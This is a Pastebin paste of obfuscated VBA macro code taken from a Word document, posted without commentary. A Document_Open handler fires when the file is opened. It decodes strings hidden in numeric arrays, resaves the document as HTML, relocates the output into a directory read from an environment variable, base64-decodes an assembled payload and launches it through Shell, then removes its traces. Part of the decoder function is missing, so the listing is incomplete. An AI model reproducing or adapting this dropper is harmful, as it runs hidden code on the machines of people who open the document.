SHARE
TWEET

Untitled

a guest Oct 19th, 2019 73 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Private Sub Document_Open()
  10. If ActiveDocument.Variables("zmZkpC").Value <> "toto" Then
  11. sImSlPDpIEAujGaOle
  12. ActiveDocument.Variables("zmZkpC").Value = "toto"
  13. If ActiveDocument.ReadOnly = False Then
  14. ActiveDocument.Save
  15. End If
  16. End If
  17. End Sub
  18.  
  19. WNPupO + 1
  20. Wend
  21. qftwUTdZQq = DHRnsbbYbC
  22. End Function
  23. Function KZKxZoAumWbVNr(ByVal sText)
  24. With CreateObject(qftwUTdZQq(Array(11, 61, 46, 91, 60, 5, 104, 35, 30, 28, 117, 46, 34, 77, 27, 38, 55, 68), 312)).CreateElement(qftwUTdZQq(Array(8, 63, 17), 290))
  25. .DataType = qftwUTdZQq(Array(91, 91, 35, 87, 27, 6, 54, 44, 76, 88), 0)
  26. .NodeTypedValue = RrMmLAtymFPXYO(sText, qftwUTdZQq(Array(67, 24, 50, 84, 70, 124, 47, 83), 54), 2)
  27. KZKxZoAumWbVNr = .Text
  28. End With
  29. End Function
  30. Function RrMmLAtymFPXYO(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)
  31. With CreateObject(qftwUTdZQq(Array(10, 46, 32, 7, 54, 84, 37, 7, 32, 10, 57, 57), 185))
  32. .Type = 2
  33. .Charset = sTextEncoding
  34. .Open
  35. .WriteText sText
  36. .Position = 0
  37. .Type = 1
  38. .Position = iBomByteCount
  39. RrMmLAtymFPXYO = .Read
  40. .Close
  41. End With
  42. End Function
  43. Function sImSlPDpIEAujGaOle()
  44. FileName = ActiveDocument.FullName
  45. xhtytStcTnEENAu = Left(ActiveDocument.Name, Len(ActiveDocument.Name) - 5)
  46. BJVnOtfIDyCUIWs = Environ(qftwUTdZQq(Array(55, 13, 9, 31), 29)) & qftwUTdZQq(Array(59), 330)
  47. LsFeYXDzWBeCaCrq = BJVnOtfIDyCUIWs
  48. lYsJCUrupmmcalP = xhtytStcTnEENAu
  49. On Error Resume Next
  50. Kill BJVnOtfIDyCUIWs & lYsJCUrupmmcalP & qftwUTdZQq(Array(8, 51, 80, 10, 22, 61, 14, 101), 145)
  51. RmDir BJVnOtfIDyCUIWs & lYsJCUrupmmcalP & qftwUTdZQq(Array(57, 50, 95, 8, 39, 60), 179)
  52. ActiveDocument.Save
  53. ActiveDocument.SaveAs2 FileName:=saveLocaton & lYsJCUrupmmcalP & qftwUTdZQq(Array(127, 44, 0, 88, 84), 285), _
  54. FileFormat:=wdFormatHTML
  55. Dim rQeH As Object
  56. Set rQeH = CreateObject(qftwUTdZQq(Array(38, 17, 29, 34, 9, 30, 7, 13, 22, 64, 118, 35, 4, 20, 3, 22, 33, 49, 52, 14, 56, _
  57. 83, 35, 38, 25, 67), 153))
  58. rQeH.MoveFile Source:=saveLocaton & lYsJCUrupmmcalP & qftwUTdZQq(Array(60, 46, 10, 38, 84, 17, 10, 16, 52, 14, 20, 50, 8, 104, 126, 89, 18, 0, 9), 293), Destination:=LsFeYXDzWBeCaCrq & qftwUTdZQq(Array(6, 42, 16, 85, 2, 92, 82, 89, 95, 6, 95, 86), 109)
  59. rQeH.MoveFile Source:=saveLocaton & lYsJCUrupmmcalP & qftwUTdZQq(Array(60, 39, 90, 21, 87, 1, 36, 88, 59, 39, 44, 20, 113, 102, 6, 103, 62, 60, 43), 10), Destination:=LsFeYXDzWBeCaCrq & qftwUTdZQq(Array(28, 25, 22, 54, 17, 5, 115, 100, 116, 29, 56, 3), 133)
  60. rQeH.MoveFile Source:=saveLocaton & lYsJCUrupmmcalP & qftwUTdZQq(Array(13, 1, 34, 91, 49, 41, 10, 56, 2, 34, 33, 22, 98, 123, 102, 72, 27, 20, 83), 33), Destination:=LsFeYXDzWBeCaCrq & qftwUTdZQq(Array(60, 88, 50, 62, 19, 104, 113, 84, 74, 28, 10, 29), 121)
  61. SwbCYBeCtP = qftwUTdZQq(Array(0, 48, 34, 70, 87, 70, 122, 13, 68, 93, 39, 4, 28, 53, 14, 0, 108, 42, 87, 80, 101, _
  62. 38, 31, 17, 54, 105, 100, 25, 65, 31, 63, 3, 45, 2, 21, 37, 13, 58, 85, 67, 85, _
  63. 33, 61, 61, 56, 18, 34, 30, 35, 52, 80, 65, 57, 20, 44, 76, 14, 101, 34, 84, 20, _
  64. 90, 21, 11, 66, 45, 23, 15, 119, 39, 48, 11, 24, 59, 45, 46, 24, 21, 62, 31, 40, _
  65. 20, 23, 16, 103), 197) & LsFeYXDzWBeCaCrq
  66. DWcvEAhpQB = qftwUTdZQq(Array(6, 42, 16, 85, 2, 92, 82, 89, 95, 6, 95, 86), 109)
  67. AkolrbpOYg = qftwUTdZQq(Array(26), 52)
  68. dtycJfacmH = qftwUTdZQq(Array(91, 124, 21, 11, 4, 7, 78, 6, 18, 21, 29, 21, 59, 116, 67, 122, 101, 102, 89, 79, 66, _
  69. 119, 99, 84, 94, 4, 87, 77, 41, 14, 0, 93, 86, 51, 28, 107, 101, 10, 111, 48, 3, _
  70. 103, 85, 88, 127, 89, 72, 94, 76, 80, 66, 46, 117, 63, 119, 17, 3, 127, 31, 32, 25, _
  71. 34, 56, 63, 10, 33, 69, 119, 27, 85, 80, 44, 80, 84, 84, 1, 12, 23, 38, 28, 86, _
  72. 104, 112, 90, 123, 104, 32, 36, 116, 98, 62, 91, 81, 68, 36, 12, 81, 91, 20, 57, 55, _
  73. 62, 25, 122, 120, 93, 50, 127, 55, 91, 23, 86, 10, 21, 67, 67, 16, 78, 66, 110, 83, _
  74. 106, 35, 57, 35, 66, 119, 50, 79, 13, 103, 35, 48, 3, 50, 88, 64, 92, 81, 30, 41, _
  75. 118, 109, 32, 74, 46, 46, 74, 32, 7, 39, 1, 31, 91, 119, 48, 116, 63, 71, 60, 102, _
  76. 29, 69, 45, 9, 6, 89, 3, 80, 20, 21, 31, 47, 36, 16, 26, 8, 24, 47, 0, 28, _
  77. 99, 111, 8, 99, 42, 1, 33, 123, 49, 44, 17, 10, 49, 58, 90, 86, 81, 106, 22, 8, _
  78. 25, 95, 76, 104, 66, 101, 6, 50, 95, 76), 331)
  79. ydUCerRbMq = SwbCYBeCtP & DWcvEAhpQB & AkolrbpOYg & dtycJfacmH
  80. YioSkwYfLrZ = KZKxZoAumWbVNr(ydUCerRbMq)
  81. Dim HJszgKdEheuyQ
  82. HJszgKdEheuyQ = Shell(qftwUTdZQq(Array(59, 4, 21, 4, 55, 9, 41, 53, 57, 38, 112, 116, 29, 24, 59, 37, 56, 63, 41, 60, 53, _
  83. 10, 10, 89, 41, 1, 82, 84, 51, 93, 115, 92, 44, 22, 59, 58, 87, 40, 20, 7, 44, _
  84. 92, 2, 82, 27, 11, 100), 62) & YioSkwYfLrZ, 1)
  85. On Error Resume Next
  86. Kill BJVnOtfIDyCUIWs & lYsJCUrupmmcalP & qftwUTdZQq(Array(8, 51, 80, 10, 22, 61, 14, 101), 145)
  87. RmDir BJVnOtfIDyCUIWs & lYsJCUrupmmcalP & qftwUTdZQq(Array(57, 50, 95, 8, 39, 60), 179)
  88. Word.Application.Visible = True
  89. Word.Application.Activate
  90. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top